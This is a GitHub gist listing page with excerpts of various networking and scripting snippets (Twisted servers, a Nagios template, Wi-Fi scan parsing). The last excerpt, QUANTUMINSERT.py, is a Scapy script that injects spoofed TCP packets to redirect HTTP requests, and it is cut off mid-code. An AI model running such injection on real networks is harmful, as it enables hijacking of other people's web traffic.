Skip to content

Instantly share code, notes, and snippets.

@gleicon
gleicon / txsyslogd.py
Created December 21, 2010 12:14
minimalistic syslog daemon written with twisted.
#!/usr/bin/python
# -*- coding: utf-8 -*-
# launchctl unload /System/Library/LaunchDaemons/com.apple.syslogd.plist
# launchctl load /System/Library/LaunchDaemons/com.apple.syslogd.plist
from twisted.internet import reactor, stdio, defer
from twisted.internet.protocol import Protocol, Factory
from twisted.protocols.basic import LineReceiver
import time, re, math, json
#!/usr/bin/env python
from twisted.internet import defer
from twisted.internet import reactor
from twisted.internet import protocol
from twisted.internet import ssl
from twisted.python import usage
from OpenSSL import SSL
import sys, os.path
@gleicon
gleicon / txredns.py
Created July 10, 2011 01:13
Python/Twisted/Redis backed DNS server.
# Python/Twisted/Redis backed DNS server - resolves from NAME to IP addrs
# fallback to google or any other DNS server to resolv domains not present on Redis
# to set a new domain on redis, just issue a SET domain.tld ip_addr
# run with twistd -ny txredns.tac
# gleicon 2011
from twisted.names import dns, server, client, cache
from twisted.application import service, internet
from twisted.internet import defer
from twisted.python import log
@oubiwann
oubiwann / 01-myweb.tac.py
Created October 14, 2012 01:50
Native LoadBalancing for Twisted Apps
from twisted.web import static, server
from twisted.application import service, internet
application = service.Application("Demo Web Server")
web = server.Site('/home/oubiwann/public_html')
service = internet.TCPServer(7001, web)
service.setServiceParent(application)
@jm-welch
jm-welch / nagios_template.py
Created February 14, 2014 21:20
A simple template for writing Nagios plugin in Python
#! /usr/bin/env python
###############################################################################
# Nagios plugin template
#
# Notes
# - The RHEL boxes I work on are currently limited to Python 2.6.6, hence the
# use of (deprecated) optparse. If I can ever get them all updated to
# Python 2.7 (or better yet, 3.3), I'll switch to argparse
# - This template runs in 2.6-3.3. Any changes made will need to be appropriate
@elecnix
elecnix / scan.awk
Created September 24, 2014 03:15
Parse iw scan output
# iw wlan0 scan | sed -e 's#(on wlan# (on wlan#g' | awk -f scan.awk
$1 == "BSS" {
MAC = $2
print $2
e = wifi[MAC]
e["enc"] = "Open"
}
$1 == "SSID:" {
e = wifi[MAC]
e["SSID"] = $2
@ttaubert
ttaubert / onion-gen.js
Created November 2, 2014 13:14
Generating custom .onion names with the WebCrypto API
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/. */
"use strict";
/*
* thirty-two
* https://github.com/chrisumbel/thirty-two
*
@stevebowman
stevebowman / AWSLambdaSimpleSMS.js
Last active June 22, 2023 12:09
AWS Lambda Function to send an SMS message via the Twilio API
console.log('Loading event');
// Twilio Credentials
var accountSid = '';
var authToken = '';
var fromNumber = '';
var https = require('https');
var queryString = require('querystring');
@dkilcy
dkilcy / RRDxportSpike.py
Last active September 26, 2017 19:52
Program to detect and correct spikes in RRDtool graph
import math
import pickle
#import rrdtool
import subprocess
import os
import sys
import traceback
import xml.sax
import numpy
@jpouellet
jpouellet / QUANTUMINSERT.py
Created March 18, 2015 06:03
Ghetto QUANTUMINSERT with Scapy.
FOXACID = 'www.openbsd.org'
def QUANTUMINSERT(p):
p.show()
if Raw in p and p['Raw'].load.startswith('GET /') and p['Raw'].load.endswith('\r\n\r\n'):
ip = IP(flags='DF', src=p['IP'].dst, dst=p['IP'].src)
tcp = TCP(sport=p['TCP'].dport, dport=p['TCP'].sport, flags='PA', seq=p['TCP'].ack, ack=p['TCP'].seq + len(p['Raw'].load))
http = 'HTTP/1.1 307 Temporary Redirect\r\nLocation: http://'+FOXACID+'/\r\nConnection: close\r\n\r\n'
out = ip / tcp / http
print '[*OUT*]'